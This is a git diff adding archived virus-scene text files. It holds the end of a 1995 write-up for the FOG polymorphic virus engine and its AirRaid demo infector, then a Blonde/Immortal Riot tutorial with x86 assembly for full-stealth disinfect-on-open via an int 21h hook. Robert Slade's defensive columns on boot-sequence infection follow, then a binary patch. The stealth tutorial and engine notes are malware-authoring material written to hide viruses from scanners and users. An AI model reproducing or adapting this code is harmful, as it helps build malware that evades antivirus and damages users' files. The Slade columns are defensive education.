FOG will be vulnerable to statistical analysis. + I have not performed any statistical computations on FOG's decryptors + myself, but I think this might be done. However, scanners will have + a hard time detecting *all* FOG encrypted viruses, due to FOG's + variability. + + + + + + + THE DEMO VIRUSES: + + Enclosed you will find the source and executables of different + versions of AirRaid, which is the demo virus for this engine. + + AirRaid is a non-destructive resident *.com infector, made + specifically for this purpose. Its lameness is also by intent. + It will infect any *.com file (of proper size) executed. Infection + marker is 'AR' at byte 4 and 5 in the file. + + The different versions are made to demonstrate the easy way you + can configure the virus to do what you want. + + Ver 1. Plain virus, Fog not attached. + Ver 2. Fog attached, configured to no garbage. + Ver 3. Fog attached, configured to 15 garbage instructions, + max hostility, fixed length + Ver 4. Fog attached, configured to random garbage, random hostility. + + + + + + SWITCHES (as defined in the switches.inc file): + + AH AL + Debugger hostility F E D C B A 9 8 7 6 5 4 3 2 1 0 Junk generation + Unused 컴컴컴컴컴컴컴� � � � � � � � � � � � � � � � 1 junk instruction + Unused 컴컴컴컴컴컴컴컴� � � � � � � � � � � � � 읕� 3 junk instructions + Unused 컴컴컴컴컴컴컴컴컴� � � � � � � � � � � 읕컴� 7 junk instructions + Use dos interrupts 컴컴컴컴� � � � � � � � � 읕컴컴� 15 junk instructions + Unused 컴컴컴컴컴컴컴컴컴컴컴� � � � � � � 읕컴컴컴� 31 junk instructions + Prefetch traps 컴컴컴컴컴컴컴컴� � � � � 읕컴컴컴컴� 63 junk instructions + Unused 컴컴컴컴컴컴컴컴컴컴컴컴컴� � � 읕컴컴컴컴컴� 127 junk instructions + Int 3 generation 컴컴컴컴컴컴컴컴컴� 읕컴컴컴컴컴컴� 255 junk instructions + + + CH CL + Internal switches F E D C B A 9 8 7 6 5 4 3 2 1 0 General switches + Unused 컴컴컴컴컴컴컴� � � � � � � � � � � � � � � � random junk + Unused 컴컴컴컴컴컴컴컴� � � � � � � � � � � � � 읕� random hostility + Unused 컴컴컴컴컴컴컴컴컴� � � � � � � � � � � 읕컴� exe file + Unused 컴컴컴컴컴컴컴컴컴컴� � � � � � � � � 읕컴컴� constant size + Unused 컴컴컴컴컴컴컴컴컴컴컴� � � � � � � 읕컴컴컴� 256 byte alignment + Down decryptor 컴컴컴컴컴컴컴컴� � � � � 읕컴컴컴컴� 16 byte alignment + Use displacement 컴컴컴컴컴컴컴컴� � � 읕컴컴컴컴컴� Unused + No jumps allowed 컴컴컴컴컴컴컴컴컴� 읕컴컴컴컴컴컴� Unused + + + + That's all for now. Take a look at the enclosed demo virus, AirRaid, + to see how FOG can be used. + + + ABOUT THE AUTHOR: + + I am a tertiary student from Australia's Sunshine State of + Queensland. My interests include Rugby League, Cricket and + low-level programming. Normally concentrating on visual and + audio demonstrations, I turned my hand to polymorphism due to + the unique challenge of that type of coding. I will only + continue to pursue my virus programming career while the field + remains interesting. + + + + HOW TO CONTACT THE AUTHOR: + + You can only contact me via my friend Qark, who is has internet + access unlike myself. + + + +Included in the original package there should be 12 files: + + FOG .ASM Fog source code + FOG .DOC This file + FOG .OBJ Fog object module + SWITCHES.INC Switch definition include file + + AIRRAID1.ASM AirRaid ver. 1 source + AIRRAID2.ASM AirRaid ver. 2 source + AIRRAID3.ASM AirRaid ver. 3 source + AIRRAID4.ASM AirRaid ver. 4 source + + AIRRV1.ZIP AirRaid ver. 1 samples + AIRRV2.ZIP AirRaid ver. 2 samples + AIRRV3.ZIP AirRaid ver. 3 samples + AIRRV4.ZIP AirRaid ver. 4 samples + + +Any other file is not acknowledged by me. + +Eclipse. +Queensland, Australia, June 1995. + + diff --git a/textfiles.com/virus/fullstlt.txt b/textfiles.com/virus/fullstlt.txt new file mode 100644 index 00000000..9e83f28b --- /dev/null +++ b/textfiles.com/virus/fullstlt.txt @@ -0,0 +1,254 @@ +% Full stealth tutorial by Blonde % +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +What follows is kinda tutorial of disinfection-stealth. It +doesn't cover any *redirection* stealth (such as the one Bluenine +in IR#6 uses), and quite frankly it might not be the best tutorial +the vx-community has seen, but we can always hope it's for some +gain to someone. + +Alternative code how physical disinfection can be done is presented +in my Hybris virus, which also is a bit more optimized than this one :-). +Nevertheless, this is the very same technique my Petra.1308 virus used, +so atleast it works.. + +I've edited this one a bit (Yea, I know it doesn't look like I did, +but I did!) and well, we can always hope Mr.Blonde will write his +next tutorial in a sober-mode :-). + +- The Unforgiven. + + + + + - Full Stealth or Disinfection on open - + Written by Blonde/Immortal Riot + + + + + +Introduction +컴컴컴컴컴컴 +Okey, this is for those guys who've already made an effective size-stealth +and want some more or those who just like reading ;) + +Full stealth for me is when you completely remove the virus from the file. +Preferebly done when you open it. The idea behind this is ofcourse that it +will be harder to spot and it is for the common users, but thats all we want +isn't it? + +What's very important when using disinfection is to infect on close or else +you'll of course end up with some major problems ;) Okey, this is a bit more +complex than the size stealth I discussed in my earlier article and I'm not +a teacher so this can be quite hard to understand. + +I'll mainly go through the disinfection of a COM file, but with +pseudo code for EXE files as well. All code presented will though be COM- +only. + +The basic idea behind disinfection of COM-files is to first of all check +if the file is infected by your virus, then simply restore what we've changed +in the file, that is the first 3-5 bytes in a COM and then simply truncate +the file at (filesize-virussize). + +As for EXE-files the scenario is exactly the same, restore what you +changed in the EXE-header rewrite it to the file... and truncate it. + + +To succeed in these matters you'll have to hook int 21h and tap ah=3d (open) + + +Check-For-Infection +컴컴컴컴컴컴컴컴컴� +disinfect_3d: ;called by our int handler if ah=3dh + + ;Upon entry to ah=3Dh ds:dx points to the filename... + + + push ax bx cx dx di si ds es ;save registers in use + + push ds + pop es ;es=ds + mov di,dx + mov al,'.' + mov cx,64 + repne scasb ;this will repeatedly scan byte by byte for + ; '.' in the filename stored in ds:dx=es:di + ;di will then point to offset of '.'+1 + + cmp word ptr ds:[di],'OC' + jne nocom + cmp word ptr ds:[di],'M' + je openfile ;check if it is a com... if it wasn't + nocom: + jmp not_opened ;it wasn't a *.com file so don't + ;disinfect + + openfile: ;com-file being opened! + pushf + push cs + mov ax,3d02h + call org21h ;open file in read/write mode + jc nocom ; error ==> bail out + + xchg ax,bx + + push cs cs ;cs=ds=es + pop es ds + + mov ax,5700h ;get file's time & date + int 21h + push cx ;save time & + push dx ;date on the stack + + read_4f: + mov ah,3fh ;just read the firstfour bytes to + mov cx,4 ;a buffer. + mov dx,(hostbytes-vstart) + int 21h + + chk_4_markers: + cmp byte ptr ds:[hbytes-vstart],0e9h ;check if firstchar + + jne close_file ;is a jmp (e9) + ;if not ==> bail! + + cmp byte ptr ds:[hbytes-vstart+3],fileid ;4th byte = our marker? + + jne close_file ; if not ==> bail! + + +That was the first part of the disinfection routine, the part that check if +the file *really* is infected. In a nutshell, the code works like this: + +First of all we want to check if the file first of all is a COM/EXE file. + +What we did was simply to scan ds:dx for the '.' which separates the filename +from the file extension and then compare it to COM/EXE (the code only checks +for com's, but you can fix that ;). That'll be sufficent to determine if it +was a COM/EXE file... + +The next step would be to check if the COM/EXE file really is infected. +This can be done in diffrent ways and some more secure than others, but what +I've done in this code is to read the first four bytes and check the first +against a jmp instruction (the one which jumps to the first instruction in +the main virus-code) and then check the fourth against 'fileid' a byte which +I write to every file I infect... com only of course. + +That should do it. To be even more secure one could check for size and +even stealth markers (like seconds) and such, but I don't think it's so +very likely that a com file starts first with a jmp and then as the forth +byte have another byte equal to what we want... Ah well it might corrupt +some files, but who cares? ;) + +Note that we don't do a regular open, since that would be recursive we have to +call the original interrupt handler directly... + +To do the same for EXE-files is almost as easy... read the whole header +(be sure to save the header-information in the file for this purpose, +don't do any heap-optimizing) and check against your markers maybe the +prelocated SP or maybe the negative checksum or whatever... then continue +with the disinfection where we left the com files... + +Restore Init-Bytes +컴컴컴컴컴컴컴컴컴 + read_hostbytes: + mov ax,4202h + xor cx,cx + cwd + int 21h ;ax=fsize + + push ax ;push fsize.. used lateron... + ;if exe then push dx too + xchg ax,dx + + sub dx,(vend-hbytes) + mov ax,4200h + xor cx,cx + int 21h ;goto dx in files... + + mov ah,40h + mov cx,4 + mov dx,(hbytes-vstart) + int 21h ;read host bytes from end of file... + +This is the part where you fetch the original values of infected file. Since +this is important, also remember to leave the original bytes un-encrypted if +the virus is encrypted. Else you'll have to decrypt them, which is pretty +stupid. Encrypted full-stealth viruses might be considered a bit overdoing it, +but well, that's up to you to decide. It's also wise to place the init-bytes +at the end-of the file because that makes file-seek's operations shorter. + +Well anyways, first get the filesize in ax then load it in dx and sub dx with +the byte difference from the very end of the virus to the begining of +the hostbytes (in this case 4...) then go to that offset in the file ie. +four bytes from the end and then read those four bytes which are the files +original bytes... if it wasn't a COM I wouldn't xor cx,cx and I would also use +a sbb cx,0 since fsize might be larger than 64k ;) else there isn't anymore +differences. you'll just have to sub/read the appropriate number of bytes... + +The next step will be to restore those bytes to the begining of the file... + + mov ax,4200h + xor cx,cx + cwd + int 21h ;go to beginning of file... + + mov ah,40h + mov dx,(hbytes-vstart) + mov cx,4 + int 21h ;restore them + +Well that' obvious, wasn't it? +The EXE version would only differ if you didn't save the whole EXE-header, +because then you would have to read it, then restore the real values and +re-write it to file then... therefor is it easier to simply write the whole +EXE-header to the end of the infected file, but that'll of course increase +the size of the virus. + +Remove the virus from the host-file +컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +To truncate the file at filesize-virussize we do this... + + pop dx ;this was push'd two snippets up and it's the file-size + ;should also pop cx if it was an exe + + mov ax,4200h + sub dx,virusize ;subtract the virus-size from the filesize + int 21h ;go to filsize-virusize + + truncate: + mov ah,40h + xor cx,cx + int 21h ;this is the trick. to truncate simply write zero bytes + ;to the file... + +Okey it's simple... restore the filesize we pushed earlier (both cx,dx if EXE) +and then sub it with the virus size (don't forget sbb cx,0 if EXE...) +Then go to that offset and write zero bytes to it, that'll truncate it... + + close_dis: + mov ax,5701h + pop dx cx + int 21h ;restore time/date stamp + + mov ah,3eh + pushf + push cs + call org21h ;close call to real int handler + + no_opendis: + pop es ds si di dx cx bx ax + jmp org21h + +You're finished! just restore the time/date stamp and close the file... +Just don't forget to close via a direct call to the real int 21 handler, since +you wouldn't want to re-infect the file ;) then we chain into the real dos +open since the virus has been removed! + +This code will successfully disinfect any file opened by ah=3Dh/int 21h, but +there are other ways of opening files, one of them is extended open which +F-Prot uses, ax=6c00h/int 21h. It's possible to trap it too, but then you'll +have to deal with some minor snags. Like loading ds:dx with filename ... If +you're intrested check out Salamander Four... + diff --git a/textfiles.com/virus/funbot2.cvp b/textfiles.com/virus/funbot2.cvp new file mode 100644 index 00000000..dc0ac1a7 --- /dev/null +++ b/textfiles.com/virus/funbot2.cvp @@ -0,0 +1,56 @@ +FUNBOT2.CVP 910918 + + Boot sequence + +In order to point out the areas of possible viral program attack, it is +helpful to outline the sequence of operations in the boot process. + +When the machine is first powered up, there is a certain amount of +programming contained in boot ROM. The amount of this varies greatly +between different types of machines, but basically describes the most +central devices, such as the screen and keyboard, and "points" to the +disk drives. A very basic location on the disk is addressed for further +information. This is the generic "boot sector"; as mentioned in the last +column, on MS-DOS hard disks it is the partition boot record that is +accessed first. + +The boot record or sector contains further information about the +structure of the disk. It, or a subsequent linked sector, also describes +the location of further operating system files. This description is in +the form of a program, rather than simply data. Because this outline is +in the form of a program, and because this sector is "writable", in order +to allow for different structures, the boot record or sector is +vulnerable to attack or change. Boot sector infecting programs may +overwrite either the boot record or the boot sector, and may or may not +move the original boot sector or record to another location on disk. The +repositioning of the original sector's program allows the viral program +to "pretend" that everything is as it was. + +This pretence is not absolute. A computer with an active viral program +resident will, of necessity, be different in some way from the normal +environment. The original sector position will, of course, have +different information in it. The viral program will need to "hook" +certain vectors for its own use in order to monitor activity within the +computer and in order to function. The viral program will have to occupy +a certain portion of memory, and may be identified by a memory map, or, +in the case of the Stoned virus, may try to hide by "telling" the +computer that it has less memory than is actually the case. + +These tell-tale indicators are not absolute. There may be various +reasons why the "top of memory" marker is set to less than 640K. Each +different type of disk drive, and each drive of the same type which is +partitioned differently, will have a different boot record. As operating +systems or versions change, so will the boot sector. Therefore, the +environment of newly booted machines cannot, in isolation, be examined +and said to be infected or free from infection. + +It is possible, however, to compare any machine with itself in a "known +clean" state. By saving information on the environment after a minimal +clean boot, and comparing this with subsequent boots, changes can be +detected, and the user alerted to a potential problem. Since a boot +sector infector can only infect a machine if the machine is booted from +an infected disk, it is also possible to replace the boot record with a +non-standard one, in order to prevent access to the hard disk unless +booted from the hard disk. + +copyright Robert M. Slade, 1991 FUNBOT2.CVP 910918 \ No newline at end of file diff --git a/textfiles.com/virus/funbot3.cvp b/textfiles.com/virus/funbot3.cvp new file mode 100644 index 00000000..b6026dbb --- /dev/null +++ b/textfiles.com/virus/funbot3.cvp @@ -0,0 +1,58 @@ +FUNBOT3.CVP 910918 + + Boot sequence - part 2 + +Obtaining the state of the environment immediately after the boot sector +has been run is not as easy as it might sound at first. The computer, +while functional, does not have all parts of the operating system +installed at this point, and it is the "higher" levels of the operating +system that users generally interact with. + +The last section of the boot sector program points to the files or areas +on the disk in which to find the next step of the operating system. At +this point the specific files and subsequent steps start to change from +one operating system to another. However, it is fairly common for all +operating systems to have "hidden" files along this route which may be +subject to viral attack. Given that the files are not evident to the +user, they are more subject, not to attack, but to an undetected change. + +When setting up antiviral defences, it is important to know the sequence +of events in the boot process in order to know which programs will +protect to which level. The MS-DOS sequence provides the clearest +example, and those knowledgeable in other systems can use the examples it +provides in order to analyze the specific details of their own systems. + +After the master boot record and boot sector proper have been run, MS-DOS +normally runs two additional programs which set up input/output routines +and the most basic operating system. (As these programs are called by +the boot sector, it is possible to re-route this process to call +specialized driver programs first, or with them. Some esoteric disk +drives use such a process.) Traditionally, these files have "hidden" +attributes and are not visible to the user on the disk. After they have +run, the system has sufficient programming to interpret a text file which +contains listings of various additional programming which the user wishes +to have in order to run specialized hardware. This file, CONFIG.SYS, is +the first point at which the intermediate user may normally affect the +boot process, and is the first point at which antiviral software may be +easily installed. As can be seen, however, there are a number of prior +points at which viral programs may gain control of the computer. + +After the programs listed in CONFIG.SYS are run, the command interpreter +is invoked. The standard MS-DOS interpreter is COMMAND.COM, but this may +be changed by an entry in the CONFIG.SYS file. After COMMAND.COM is run, +the AUTOEXEC.BAT batch file is run, if it exists. AUTOEXEC.BAT is the +most commonly created and modified "boot file", and many users, and +antiviral program authors, see this as the point at which to intervene. +It should be clear by now, however, that many possible points of +intervention are open before the AUTOEXEC.BAT is run. + +In spite of the greater number of entry points, viral programs which +attack the programs of the boot sequence are rare, and not greatly +successful. For one thing, while very disk has a boot sector, not every +disk has a full boot sequence. For another, different versions of a +given operating system may have different files in this sequence. (For +example, the "hidden" files have different names in MS-DOS, PC-DOS and +DR-DOS.) Finally, viral programs which can infect ordinary programs +files may not work on boot sequence files, and vice versa. + +copyright Robert M. Slade, 1991 FUNBOT3.CVP 910918 \ No newline at end of file diff --git a/textfiles.com/virus/fungen1.cvp b/textfiles.com/virus/fungen1.cvp new file mode 100644 index 00000000..09275322 --- /dev/null +++ b/textfiles.com/virus/fungen1.cvp @@ -0,0 +1,56 @@ +FUNGEN1.CVP 910727 + + Computer operations and viral operations + +Having defined what viral programs are, let's look at what +computers are, and do, briefly. The functions that we ask of +computers tend to fall into a few general categories. + +Computers are great at copying. This makes them useful for +storing and communicating data, and for much of the "information +processing" that we ask them to do, such as word processing. +Computers are also great for the automation of repetitive tasks. +Programming allows computers to perform the same tasks, in the +same way, with only one initiating call. Indeed, we can, on +occasion, eliminate the need for the call, as programs can be +designed to make "decisions" on the basis of data available. +Finally, computer processors need not be specially built for +each task assigned to them: computers are multi-purpose tools +which can do as many jobs as the programs available to them. + +All computer operations and programs are comprised of these +three components: copying, automatic operation, "decision" +making: and, in various combinations, can fulfill many +functions. It is no coincidence that it is these same functions +which allow computer viral programs to operate. + +The first function of a viral program is to reproduce. In other +words, to copy. This copying operation must be automatic, since +the operator is not an actively informed party to the function. +In most cases, viral program must come to some decision aobut +when and whether to infect a program or disk, or when to deliver +a "payload". All of these operations must be performed +regardless of the purpose for which the specific computer is +intended. + +It should thus be clear that computer viral programs use the +most basic of computer functions and operations. It should also +be clear that no additional functions are necessary for the +operation of viral programs. Taking these two facts together, +noone should be surprised at the conclusion reached a number of +years ago that not only is it extremely difficult to +differentiate computer viral programs from valid programs, but +that there can be no single identifying feature that can be used +for such distinction. Without running the program, or +simulating its operation, there is no way to say that this +program is viral and that one is valid. + +The fact that computer viral operations are, in fact, the most +basic of computer operations means that it is very difficult to +defend against intrusion by viral programs. In terms of +"guaranteed protection" we are left with Jeff Richards' Laws of +Data Security: + 1) Don't buy a computer. + 2) If you do buy a computer, don't turn it on. + +copyright Robert M. Slade, 1991 FUNGEN1.CVP 910729 \ No newline at end of file diff --git a/textfiles.com/virus/fungen2.cvp b/textfiles.com/virus/fungen2.cvp new file mode 100644 index 0000000000000000000000000000000000000000..4c0ed8302883a6ab07149a4d8db83ef024f53278 GIT binary patch literal 2721 zcmZvePj4GH5XE~IpfAwVK$kXv;v_|ZHpt0M?8YeU7MAnpO6_tb)?890xl;A*`x{DY z*=`I2l6J}A%zJO%@bc5m?-w^eoxT73mx#Q5^ZM7A5fKIIPxE)>dXQxs?mX&!n}T3r?3w?4*hPW+*nvwuacGxJsrcK(d`pSxS^-dD;$5 z-Ll+^DaABv7gqW*5*yn5Kve{BT)%69VhjW~=*_)&}u5XURj;@YxMs zH|gS-?Q#FWw?p{envl;#u5^JF%FK~kPRZ|L^6gxfF&4?TDKSkaE_C%<)>G}_%zkLr z(#K@QcKX(BEn$DW_}BCs@;Rhyr<3c&%MX7pG=4vT6*aR(kN)lU{OU$bXk}4iu91BAx+HAo;slcn+2BoZD<4g2N8#ifQC0KSQXZ%J3OajinkS0iP=0gdi) ziDY}IaIO(GI}M}EOaZwy3aNkb4bl-Q$@#&}Ov5D?J;pC;@z)9Ivj`CeDM zkZmd!RLx09JYQ?}P_?4?A+(UX*ymz<`Q_||$_|daNh_Y``aI92M{gCg-jFi#vJcGh zHrN7v_qt#@VTFH&X{B#YqS7g3YXd0Mx&qT;GnMrllm?A=Yh^B`eJ2D zS0R3{5;U4Lh~^EO+nUlSZYx7Zn$wBK?o8vn(hlIq^w`)})uR%PFf4ml9(1pdEU%}N zDp=LjxqQA}j0@)S<^1N4IcL;3U`=E_DJvMoHtXR28Eig#fq|+tAU?$)|iy`^)y36BBi;8a7p4WOeY(&_tCTm&K}YjElJNB4MlhL z+4?Qn0bZ5)N#W@G03)tZ&~WYPDp??@)`QZFZmXSBsuzwLsklAhtP%kL3O_2X_Ef|z zA&XAfIvT3P>4Yq>MewY8p*g&mEzp{!A7!l;7t`n-&1lJEU*?M7H7OtM?Wy&08r=jv z^!+ZmQt--IN4!S>W^-?6z;`b9j#8=4dh9I4;2JsuATam?oizpsxB`qFhA^FULn2m^ z9m%V$evCUPr?-@NJqF`#Fyof;O;6KQgW0(ezmxS1$ghe}2Gyh%|!PY_P>=wc|INWWxPH>BkO(Z2ljrH!a5(rycynuMkoMzv37cK#055 zdZbISKU6zg+Td1UrUG_awHh?YHx%IL6SUtAA)w{zPkI78)gYM zlo0%JG?4s5Bh~8hc3?{o3L0ey^#Ht8mEj$Z#xXU`JL>cXg&vQbtDpg*GCOi^o~Dlx z>_Jc)pXsZk1xiPKItcLf(|_5=)^*G^eZ=|w;EQ9Xb5N7^8+}?Ee#WfQfi|nVx0w99!~H;c2dvrw zw0XTV=um`g6ADeBDa`VK6KwSw#SBa&V3{_I)8p+#$L+!Hbdcy2t